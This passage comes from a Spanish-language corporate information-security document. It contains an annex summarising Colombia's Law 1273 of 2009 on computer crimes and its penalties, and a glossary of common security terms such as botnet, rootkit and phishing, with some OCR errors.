vulnerabilidades y pruebas de intrusion. Estas pruebas deben estar focalizadas

a las redes, personas, telefonia, entre otras.
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6. ANEXO

El siguiente es un anexo del Marco Legal

La Ley 1273 de 2009 cred nuevos tipos penales relacionados con delitos
informaticos y la proteccion de la informacién y de los datos con penas de prision
de hasta 120 meses y multas de hasta 1500 salarios minimos legales
mensuales vigentes. EI 5 de enero de 2009, el Congreso de la Republica de
Colombia promulg6 la Ley 1273 “Por medio del cual se modifica el Cddigo
Penal, se crea un nuevo bien juridico tutelado — denominado “De la Proteccién
de la informacion y de los datos”- y se preservan integralmente los sistemas que
utilicen las tecnologias de la informacion y las comunicaciones, entre otras
disposiciones”. Dicha ley tipific6 como delitos una serie de conductas
relacionadas con el manejo de datos personales, por lo que es de gran
importancia que las empresas se blinden juridicamente para evitar incurrir en
alguno de estos tipos penales. No hay que olvidar que los avances tecnolégicos
y el empleo de los mismos para apropiarse ilicitamente del patrimonio de
terceros a través de clonacion de tarjetas bancarias, vulneracion y alteracion de
los sistemas de codmputo para recibir servicios y transferencias electrénicas de
fondos mediante manipulacion de programas y afectacion de los cajeros
automaticos, entre otras, son conductas cada vez mas usuales en todas partes
del mundo. Segun la Revista Cara y Sello, durante el 2007 en Colombia las
empresas perdieron mas de 6.6 billones de pesos a raiz de delitos informaticos.
De ahi la importancia de esta ley, que adiciona al Cédigo Penal colombiano el
Titulo VII BIS denominado "De la Proteccién de la informacién y de los datos"
que divide en dos capitulos, a saber: “De los atentados contra la
confidencialidad, la integridad y la disponibilidad de los datos y de los sistemas
informaticos” y “De los atentados informaticos y otras infracciones”.

El presente documento es de caracter confidencial y esta protegido por las
normas de derechos de autor, cualquier reproduccién, distribucion o
modificacion total o parcial a usuarios no autorizados o cualquier uso indebido
de la informacion confidencial serd considerado un delito conforme a lo
establecido en los articulos 148 a 258 y 431 del Cédigo Penal.

- Articulo 269A: ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que,
sin autorizacion o por fuera de lo acordado, acceda en todo o en parte a un
sistema informético protegido o no con una medida de seguridad, o se
mantenga dentro del mismo en contra de la voluntad de quien tenga el legitimo
derecho a excluirlo, incurrird en pena de prision de cuarenta y ocho (48) a
noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales
mensuales vigentes.

- Articulo 269B: OBSTACULIZACION ILEGITIMA DE SISTEMA INFORMATICO
O RED DE TELECOMUNICACION. El que, sin estar facultado para ello, impida
u obstaculice el funcionamiento o el acceso normal a un sistema informatico, a
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los datos informaticos alli contenidos, o a una red de telecomunicaciones,
incurrira en pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses
y en multa de 100 a 1000 salarios minimos legales mensuales vigentes, siempre
que la conducta no constituya delito sancionado con una pena mayor.

- Articulo 269C: INTERCEPTACION DE DATOS INFORMATICOS. El que, sin
orden judicial previa intercepte datos informaticos en su origen, destino o en el
interior de un sistema informético, o las emisiones electromagnéticas
provenientes de un sistema informético que los trasporte incurrird en pena de
prision de treinta y seis (36) a setenta y dos (72) meses.

- Articulo 269D: DANO INFORMATICO. El que, sin estar facultado para ello,
destruya, dafie, borre, deteriore, altere o suprima datos informaticos, o un
sistema de tratamiento de informacién o sus partes o0 componentes l6gicos,
incurrira en pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses
y en multa de 100 a 1000 salarios minimos legales mensuales vigentes.

- Articulo 269E: USO DE SOFTWARE MALICIOSO. El que, sin estar facultado
para ello, produzca, trafique, adquiera, distribuya, venda, envie, introduzca o
extraiga del territorio nacional software malicioso u otros programas de
computacion de efectos dafiinos, incurrira en pena de prision de cuarentay ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos
legales mensuales vigentes.

- Articulo 269F: VIOLACION DE DATOS PERSONALES. El que, sin estar
facultado para ello, con provecho propio o de un tercero, obtenga, compile,
sustraiga, ofrezca, venda, intercambie, envie, compre, intercepte, divulgue,
modifigue o emplee codigos personales, datos personales contenidos en
ficheros, archivos, bases de datos o medios semejantes, incurrira en pena de
prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100
a 1000 salarios minimos legales mensuales vigentes.

- Articulo 269G: SUPLANTACION DE SITIOS WEB PARA CAPTURAR DATOS
PERSONALES. El que con objeto ilicito y sin estar facultado para ello, disefie,
desarrolle, trafique, venda, ejecute, programe o envie paginas electronicas,
enlaces o ventanas emergentes, incurrira en pena de prision de cuarenta y ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos
legales mensuales vigentes, siempre que la conducta no constituya delito
sancionado con pena mas grave.

En la misma sancién incurrira el que modifique el sistema de resolucion de
nombres de dominio, de tal manera que haga entrar al usuario a una IP diferente
en la creencia de que acceda a su banco o a otro sitio personal o de confianza,
siempre que la conducta no constituya delito sancionado con pena mas grave.

La pena sefialada en los dos incisos anteriores se agravara de una tercera parte
a la mitad, si para consumarlo el agente ha reclutado victimas en la cadena del
delito.
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Es primordial mencionar que este articulo tipifica lo que comldnmente se
denomina “phishing”, modalidad de estafa que usualmente utiliza como medio
el correo electrénico pero que cada vez con mas frecuencia utilizan otros
medios de propagacion como por ejemplo la mensajeria instantanea o las redes
sociales. Segun la Unidad de Delitos Informéticos de la Policia Judicial (Dijin)
con esta modalidad se robaron mas de 3.500 millones de pesos de usuarios del
sistema financiero en el 2006.

Un punto importante a considerar es que el articulo 269H agrega como
circunstancias de agravacién punitiva de los tipos penales descritos
anteriormente el aumento de la pena de la mitad a las tres cuartas partes si la
conducta se cometiere:

Sobre redes o sistemas informaticos o de comunicaciones estatales u oficiales
o del sector financiero, nacionales o extranjeros.

Por servidor publico en ejercicio de sus funciones

Aprovechando la confianza depositada por el poseedor de la informacién o por
quien tuviere un vinculo contractual con este.

Revelando o dando a conocer el contenido de la informacion en perjuicio de
otro.

Obteniendo provecho para si o para un tercero.
Con fines terroristas o generando riesgo para la seguridad o defensa nacional.
Utilizando como instrumento a un tercero de buena fe.

Si quien incurre en estas conductas es el responsable de la administracion,
manejo o control de dicha informacién, ademas se le impondra hasta por tres
afos, la pena de inhabilitacion para el ejercicio de profesion relacionada con
sistemas de informacién procesada con equipos computacionales.

Es de anotar que estos tipos penales obligan tanto a empresas como a personas
naturales a prestar especial atencion al tratamiento de equipos informéaticos asi
como al tratamiento de los datos personales mas teniendo en cuenta la
circunstancia de agravacion del inciso 3 del articulo 269H que senala “por quien
tuviere un vinculo contractual con el poseedor de la informacién”.

Por lo tanto, se hace necesario tener unas condiciones de contratacion, tanto
con empleados como con contratistas, claras y precisas para evitar incurrir en
la tipificacién penal.

- Articulo 2691: HURTO POR MEDIOS INFORMATICOS Y SEMEJANTES. El
gue, superando medidas de seguridad informaticas, realice la conducta
sefialada en el articulo 239[3] manipulando un sistema informatico, una red de
sistema electronico, telemético u otro medio semejante, o suplantando a un
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usuario ante los sistemas de autenticacion y de autorizacion establecidos,
incurrird en las penas sefialadas en el articulo 240 del Codigo Penal, es decir,
penas de prision de tres (3) a ocho (8) afos.

- Articulo 269J: TRANSFERENCIA NO CONSENTIDA DE ACTIVOS. EIl que,
con animo de lucro y valiéndose de alguna manipulacién informatica o artificio
semejante, consiga la transferencia no consentida de cualquier activo en
perjuicio de un tercero, siempre que la conducta no constituya delito sancionado
con pena mas grave, incurrird en pena de prision de cuarenta y ocho (48) a
ciento veinte (120) meses y en multa de 200 a 1500 salarios minimos legales
mensuales vigentes.

La misma sancion se le impondra a quien fabrique, introduzca, posea o facilite
programa de computador destinado a la comision del delito descrito en el inciso
anterior, o de una estafa.

Sila conducta descrita en los dos incisos anteriores tuviere una cuantia superior
a 200 salarios minimos legales mensuales, la sancién alli sefialada se
incrementaré en la mitad.

Asi mismo, la Ley 1273 agrega como circunstancia de mayor punibilidad en el
articulo 58 del Codigo Penal el hecho de realizar las conductas punibles
utilizando medios informéaticos, electronicos 6 teleméaticos.

Como se puede apreciar, la Ley 1273 es un paso importante en la lucha contra
los delitos informéticos en Colombia, por lo que es necesario que se esté
preparado legalmente para enfrentar los retos que plantea.

En este sentido y desde un punto de vista empresarial, la nueva ley pone de
presente la necesidad para los empleadores de crear mecanismos idoneos para
la proteccion de uno de sus activos mas valiosos como lo es la informacion.

Las empresas deben aprovechar la expedicion de esta ley para adecuar sus
contratos de trabajo, establecer deberes y sanciones a los trabajadores en los
reglamentos internos de trabajo, celebrar acuerdos de confidencialidad con los
mismos y crear puestos de trabajo encargados de velar por la seguridad de la
informacion.

Por otra parte, es necesario regular aspectos de las nuevas modalidades
laborales tales como el teletrabajo o los trabajos desde la residencia de los
trabajadores los cuales exigen un nivel mas alto de supervision al manejo de la
informacion.

Asi mismo, resulta conveniente dictar charlas y seminarios al interior de las
organizaciones con el fin de que los trabajadores sean conscientes del nuevo
rol que les corresponde en el nuevo mundo de la informatica.
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Lo anterior, teniendo en cuenta los perjuicios patrimoniales a los que se pueden
enfrentar los empleadores debido al uso inadecuado de la informacion por parte
de sus trabajadores y demas contratistas.

Pero més alld de ese importante factor, con la promulgacion de esta ley se
obtiene una herramienta importante para denunciar los hechos delictivos a los
gque se pueda ver afectado, un cambio importante si se tiene en cuenta que
anteriormente las empresas no denunciaban dichos hechos no sélo para evitar
dafios en su reputacién sino por no tener herramientas especiales.
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7. GLOSARIO

Adware

Adware es un software, generalmente no deseado, que facilita el envio de
contenido publicitario a un equipo.

Amenaza

Una amenaza informatica es toda circunstancia, evento o persona que tiene el
potencial de causar dafio a un sistema en forma de robo, destruccion,
divulgacién, modificacion de datos o negacion de servicio (DoS).

Amenazas polimorfas

Las amenazas polimorfas son aquellas que tienen la capacidad de mutar y en
las cuales cada instancia del malware es ligeramente diferente al anterior a este.
Los cambios automatizados en el cédigo realizados a cada instancia no alteran
la funcionalidad del malware, sino que practicamente inutilizan las tecnologias
tradicionales de deteccidn antivirus contra estos ataques.

Antispam

Antispam es un producto, herramienta, servicio 0 mejor practica que detiene el
spam o correo no deseado antes de que se convierta en una molestia para los
usuarios. El antispam debe ser parte de una estrategia de seguridad multinivel.

Antivirus

Antivirus es una categoria de software de seguridad que protege un equipo de
virus, normalmente a través de la deteccién en tiempo real y también mediante
andlisis del sistema, que pone en cuarentena y elimina los virus. El antivirus
debe ser parte de una estrategia de seguridad estandar de multiples niveles.

Aplicaciones engafiosas

Las aplicaciones engafiosas son programas que intentan engafiar a los usuarios
informéticos para que emprendan nuevas acciones que normalmente estan
encaminadas a causar la descarga de malware adicional o para que los
usuarios divulguen informacién personal confidencial. Un ejemplo es el software
de seguridad fraudulento, que también se denomina scareware.

Ataques multi-etapas

Un ataque en multiples etapas es una infeccion que normalmente implica un
ataque inicial, seguido por la instalacion de una parte adicional de codigos
maliciosos. Un ejemplo es un troyano que descarga e instala adware.
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Ataques Web

Un ataque Web es un ataque que se comete contra una aplicacion cliente y se
origina desde un lugar en la Web, ya sea desde sitios legitimos atacados o sitios
maliciosos que han sido creados para atacar intencionalmente a los usuarios
de ésta.

Blacklisting o Lista Negra

La lista negra es el proceso de identificacion y bloqueo de programas, correos
electronicos, direcciones o dominios IP conocidos maliciosos o malévolos.

Bot

Un bot es una computadora individual infectada con malware, la cual forma
parte de una red de bots (bot net).

Botnet

Conjunto de equipos bajo el control de un bot maestro, a través de un canal de
mando y control. Estos equipos normalmente se distribuyen a través de Internet
y se utilizan para actividades malintencionadas, como el envio de spam y
ataques distribuidos de negacion de servicio. Las botnet se crean al infectar las
computadoras con malware, lo cual da al atacante acceso a las maquinas. Los
propietarios de computadoras infectadas generalmente ignoran que su maquina
forma parte de una botnet, a menos que tengan software de seguridad que les
informe acerca de la infeccion.

Caballo de Troya

Son un tipo de codigo malicioso que parece ser algo que no es. Una distincion
muy importante entre troyanos y virus reales es que los troyanos no infectan
otros archivos y no se propagan automaticamente. Los caballos de troya tienen
codigos maliciosos que cuando se activan causa pérdida, incluso robo de datos.
Por lo general, también tienen un componente de puerta trasera, que le permite
al atacante descargar amenazas adicionales en un equipo infectado.
Normalmente se propagan a través de descargas inadvertidas, archivos
adjuntos de correo electrénico o al descargar o ejecutar voluntariamente un
archivo de Internet, generalmente después de que un atacante ha utilizado
ingenieria social para convencer al usuario de que lo haga.

Canal de control y comando

Un canal de mando y control es el medio por el cual un atacante se comunicay
controla los equipos infectados con malware, lo que conforma un botnet.

Carga destructiva

Una carga destructiva es la actividad maliciosa que realiza el malware. Una
carga destructiva es independiente de las acciones de instalacion y propagacion
que realiza el malware.
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Crimeware

Software que realiza acciones ilegales no previstas por un usuario que ejecuta
el software. Estas acciones buscan producir beneficios econémicos al
distribuidor del software.

Ciberdelito

El ciberdelito es un delito que se comete usando una computadora, red o
hardware. La computadora o dispositivo puede ser el agente, el facilitador o el
objeto del delito. El delito puede ocurrir en la computadora o en otros lugares.

Definiciones de virus

Una definicién de virus es un archivo que proporciona informacion al software
antivirus, para identificar los riesgos de seguridad. Los archivos de definicién
tienen proteccion contra todos los virus, gusanos, troyanos y otros riesgos de
seguridad mas recientes. Las definiciones de virus también se denominan
firmas antivirus.

Descarga inadvertida

Una descarga inadvertida es una descarga de malware mediante el ataque a
una vulnerabilidad de un navegador Web, equipo cliente de correo electronico
o plug-in de navegador sin intervencion alguna del usuario. Las descargas
inadvertidas pueden ocurrir al visitar un sitio Web, visualizar un mensaje de
correo electrénico o pulsar clic en una ventana emergente engafiosa.

Economia clandestina

La economia clandestina en linea es el mercado digital donde se compran y se
venden bienes y servicios obtenidos a través de la ciberdelincuencia, con el fin
de cometer delitos informaticos. Dos de las plataformas mas comunes a
disposicion de los participantes en la economia clandestina en linea son los
canales en servidores IRC y foros Web. Los dos tienen grupos de discusiéon que
utilizan participantes para comprar y vender bienes y servicios fraudulentos. Los
articulos vendidos son datos de tarjetas de crédito, informacion de cuentas
bancarias, cuentas de correo electrénico y toolkits de creacion de malware. Los
servicios incluyen cajeros que pueden transferir fondos de cuentas robadas en
moneda real, phishing y hosting de paginas fraudulentas y anuncios de empleo
para cargos como desarrolladores de fraude o socios de phishing.

Encriptacion

La encriptacién es un método de cifrado o codificacion de datos para evitar que
los usuarios no autorizados lean o manipulen los datos. Sélo los individuos con
acceso a una contrasefa o clave pueden descifrar y utilizar los datos. A veces,
el malware utiliza la encriptacién para ocultarse del software de seguridad. Es
decir, el malware cifrado revuelve el cédigo del programa para que sea dificil
detectarlo.
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Exploits o Programas intrusos

Los programas intrusos son técnicas que aprovechan las vulnerabilidades del
software y que pueden utilizarse para evadir la seguridad o atacar un equipo en
la red.

Filtracion de datos

Una filtracion de datos sucede cuando se compromete un sistema, exponiendo
la informacion a un entorno no confiable. Las filtraciones de datos a menudo
son el resultado de ataques maliciosos, que tratan de adquirir informacion
confidencial que puede utilizarse con fines delictivos o con otros fines
malintencionados

Firewall

Un firewall es una aplicaciébn de seguridad disefiada para bloquear las
conexiones en determinados puertos del sistema, independientemente de si el
tréfico es benigno o maligno. Un firewall deberia formar parte de una estrategia
de seguridad estandar de multiples niveles.

Firma antivirus

Una firma antivirus es un archivo que proporciona informacion al software
antivirus para encontrar y reparar los riesgos. Las firmas antivirus proporcionan
proteccion contra todos los virus, gusanos, troyanos y otros riesgos de
seguridad mas recientes. Las firmas antivirus también se denominan
definiciones de virus.

Greylisting o Lista Gris

La lista gris es un método de defensa para proteger a los usuarios de correo
electronico contra el spam. Los mensajes de correo electrénico son rechazados
temporalmente de un remitente que no es reconocido por el agente de
transferencia de correos. Si el correo es legitimo, el servidor de origen tratara
de nuevo y se aceptara el correo electrénico. Si el correo es de un remitente de
spam, probablemente no se reintentara su envio y por lo tanto, no lograra pasar
el agente de transferencia de correos.

Gusanos

Los gusanos son programas maliciosos que se reproducen de un sistema a otro
sin usar un archivo anfitrion, lo que contrasta con los virus, puesto que requieren
la propagacion de un archivo anfitrion infectado.

Ingenieria Social

Método utilizado por los atacantes para engafiar a los usuarios informaticos,
para que realicen una accion que normalmente producira consecuencias
negativas, como la descarga de malware o la divulgacion de informacion
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personal. Los ataques de phishing con frecuencia aprovechan las tacticas de
ingenieria social.

Lista blanca o Whitelisting

La lista blanca es un método utilizado normalmente por programas de bloqueo
de spam, que permite a los correos electrénicos de direcciones de correo
electronicos o nombres de dominio autorizados o conocidos pasar por el
software de seguridad.

Keystroke Logger o Programa de captura de teclado (Keylogger)

Es un tipo de malware disefiado para capturar las pulsaciones, movimientos y
clics del teclado y del raton, generalmente de forma encubierta, para intentar
robar informacién personal, como las cuentas y contrasefias de las tarjetas de
crédito.

Malware

El malware es la descripcién general de un programa informético que tiene
efectos no deseados o maliciosos. Incluye virus, gusanos, troyanos y puertas
traseras. El malware a menudo utiliza herramientas de comunicacion populares,
como el correo electrénico y la mensajeria instantanea, y medios magnéticos
extraibles, como dispositivos USB, para difundirse. También se propaga a
través de descargas inadvertidas y ataques a las vulnerabilidades de seguridad
en el software. La mayoria del malware peligroso actualmente busca robar
informacién personal que pueda ser utilizada por los atacantes para cometer
fechorias.

Mecanismo de propagacion

Un mecanismo de propagacion es el método que utiliza una amenaza para
infectar un sistema.

Negacion de servicio (DoS)

La negacién de servicio es un atague en el que el delincuente intenta
deshabilitar los recursos de una computadora o lugar en una red para los
usuarios. Un ataque distribuido de negacion de servicio (DDoS) es aquel en que
el atacante aprovecha una red de computadoras distribuidas, como por ejemplo
una botnet, para perpetrar el ataque.

Pharming

Método de ataque que tiene como objetivo redirigir el trafico de un sitio Web a
otro sitio falso, generalmente disefiado para imitar el sitio legitimo. El objetivo
es que los usuarios permanezcan ignorantes del redireccionamiento e ingresen
informacion personal, como la informacién bancaria en linea, en el sitio
fraudulento. Se puede cometer pharming cambiando el archivo de los equipos
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anfitriones en la computadora de la victima o atacando una vulnerabilidad en el
software del servidor DNS.

Phishing

A diferencia de la heuristica o los exploradores de huella digital, el software de
seguridad de blogueo de comportamiento se integra al sistema operativo de un
equipo anfitrion y supervisa el comportamiento de los programas en tiempo real
en busca de acciones maliciosas. El software de bloqueo de comportamiento
bloguea acciones potencialmente dafiinas, antes de que tengan oportunidad de
afectar el sistema. La proteccién contra el comportamiento peligroso debe ser
parte de una estrategia de seguridad estandar de multiples niveles.

Proteccion heuristica (Heuristics-Based Protection)

Forma de tecnologia antivirus que detecta las infecciones mediante el escrutinio
de la estructura general de un programa, las instrucciones de sus computadoras
y otros datos contenidos en el archivo. Una exploracién heuristica hace una
evaluacién sobre la probabilidad de que el programa sea malicioso con base en
la aparente intencién de la l6gica. Este plan puede detectar infecciones
desconocidas, ya que busca l6gica generalmente sospechosa, en lugar de
huellas especificas de malware, tales como los métodos tradicionales de
antivirus de firmas. La proteccion heuristica deberia hacer parte de una
estrategia de seguridad estandar de multiples niveles

Redes punto a punto (P2P)

Red virtual distribuida de participantes que hacen gue una parte de sus recursos
informaticos estén a disposicion de otros participantes de la red, todo sin
necesidad de servidores centralizados. Las redes puntos a punto son utilizadas
para compartir masica, peliculas, juegos y otros archivos. Sin embargo, también
son un mecanismo muy comun para la distribucion de virus, bots, spyware,
adware, troyanos, rootkits, gusanos y otro tipo de malware.

Rootkits

Componente de malware que utiliza la clandestinidad para mantener una
presencia persistente e indetectable en un equipo. Las acciones realizadas por
un rootkit, como la instalacion y diversas formas de ejecucion de codigos, se
realizan sin el conocimiento o consentimiento del usuario final.

Los rootkits no infectan las maquinas por si mismos como lo hacen los virus o
gusanos, sino que tratan de proporcionar un entorno indetectable para ejecutar
codigos maliciosos. Los atacantes normalmente aprovechan las
vulnerabilidades en el equipo seleccionado o utilizan técnicas de ingenieria
social para instalar manualmente los rootkits. O, en algunos casos, los rootkits
pueden instalarse automaticamente al ejecutarse un virus o gusano o incluso
simplemente al navegar en un sitio Web malicioso.
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Una vez instalados, el atacante puede realizar practicamente cualquier funcion
en el sistema, incluyendo acceso remoto, intercepcién de comunicaciones, asi
como procesos de ocultamiento, archivos, claves de registro y canales de
comunicacion.

Seguridad basada en la reputacion

La seguridad basada en la reputacion es una estrategia de identificacion de
amenazas que clasifica las aplicaciones con base en ciertos criterios o atributos
para determinar si son probablemente malignas o benignas. Estos atributos
pueden incluir diversos aspectos como la edad de los archivos, la fuente de
descarga de los archivos y la prevalencia de firmas y archivos digitales. Luego,
se combinan los atributos para determinar la reputacién de seguridad de un
archivo. Las calificaciones de reputacion son utilizadas después por los usuarios
informaticos para determinar mejor lo que es seguro y permitirlo en sus
sistemas. La seguridad basada en la reputacion debe ser parte de una
estrategia de seguridad estandar de multiples niveles.

Sistema de deteccién de intrusos

Un sistema de deteccion de intrusos es un servicio que monitorea y analiza los
eventos del sistema para encontrar y proporcionar en tiempo real o casi real
advertencias de intentos de acceso a los recursos del sistema de manera no
autorizada. Es la deteccion de ataques o intentos de intrusion, que consiste en
revisar registros u otra informacion disponible en la red. Un sistema de deteccién
de intrusos debe ser parte de una estrategia de seguridad estandar de multiples
niveles.

Sistema de prevencion de intrusos

Un sistema de prevencion de intrusos es un dispositivo (hardware o software)
que supervisa las actividades de la red o del sistema en busca de
comportamiento no deseado o malicioso y puede reaccionar en tiempo real para
bloguear o evitar esas actividades. Un sistema de prevencion de intrusos debe
ser parte de una estrategia de seguridad estandar de multiples niveles.

Software de seguridad fraudulento (rogue)

Un programa de software de seguridad rogue es un tipo de aplicacién engafiosa
gue finge ser software de seguridad legitimo, como un limpiador de registros o
detector antivirus, aunque realmente proporciona al usuario poca o ninguna
proteccion y, en algunos casos, puede de hecho facilitar la instalacion de
codigos maliciosos contra los que busca protegerse.

Spam

También conocido como correo basura, el spam es correo electrénico que
involucra mensajes casi idénticos enviados a numerosos destinatarios. Un
sinbnimo comun de spam es correo electrénico comercial no solicitado (UCE).
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El malware se utiliza a menudo para propagar mensajes de spam al infectar un
equipo, buscar direcciones de correo electrénico y luego utilizar esa maquina
para enviar mensajes de spam. Los mensajes de spam generalmente se utilizan
como un método de propagacion de los ataques de phishing

Spyware

Paquete de software que realiza un seguimiento y envia informacion de
identificacion personal o informacion confidencial a otras personas. La
informacién de identificacion personal es la informacion que puede atribuirse a
una persona especifica, como un nombre completo. La informacion confidencial
incluye datos que la mayoria de personas no estaria dispuesta a compartir con
nadie e incluye datos bancarios, nimeros de cuentas de tarjeta de crédito y
contrasefias. Los receptores de esta informacion pueden ser sistemas o partes
remotas con acceso local.

Toolkit

Paquete de software disefiado para ayudar a los hackers a crear y propagar
cbdigos maliciosos. Los toolkits frecuentemente automatizan la creacion y
propagacion de malware al punto que, incluso los principiante delincuentes
cibernéticos son capaces de utilizar amenazas complejas. También pueden
utilizarse toolkits para lanzar ataques web, enviar spam y crear sitios de phishing
y mensajes de correo electrénico.

Variantes

Las variantes son nuevas cepas de malware que piden prestado codigos, en
diversos grados, directamente a otros virus conocidos. Normalmente se
identifican con una letra o letras, seguido del apellido del malware; por ejemplo,
W32.Downadup.A, W32.Downadup.B y asi sucesivamente.

Vector de ataque

Un vector de ataque es el método que utiliza una amenaza para atacar un
sistema.

Virus

Programa informético escrito para alterar la forma como funciona una
computadora, sin permiso o conocimiento del usuario. Un virus debe cumplir
con dos criterios:

Debe ejecutarse por si mismo: generalmente coloca su propio cédigo en la ruta
de ejecucion de otro programa.
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Debe reproducirse: por ejemplo, puede reemplazar otros archivos ejecutables
con una copia del archivo infectado por un virus. Los virus pueden infectar
computadores de escritorio y servidores de red.

Muchos de los virus actuales estan programados para operar sigilosamente la
computadora del usuario con el fin de robar informacion personal y utilizarla
para cometer delitos. Otros menoscaban el equipo dafiando los programas,
eliminando archivos o volviendo a formatear el disco duro. Aun existen otros
gue no estan disefiados para causar dafo, aunque simplemente se reproducen
y hacen manifiestan su presencia presentando mensajes de texto, video y
audio, aunque este tipo de ataques de notoriedad no son tan comunes, puesto
gue los autores de virus y demas malware tiene como fin obtener ganancias
ilegales.

Virus mas propagado

Amenaza que se dice esta en su apogeo e indica que ya se esta extendiendo
entre los usuarios informéaticos.

Vulnerabilidad

Una vulnerabilidad es un estado viciado en un sistema informatico (o conjunto
de sistemas) que afecta las propiedades de confidencialidad, integridad y
disponibilidad (CIA) de los sistemas. Las vulnerabilidades pueden hacer lo
siguiente:

Permitir que un atacante ejecute comandos como otro usuario

Permitir a un atacante acceso a los datos, lo que se opone a las restricciones
especificas de acceso a los datos

Permitir a un atacante hacerse pasar por otra entidad

Permitir a un atacante realizar una negacién de servicio
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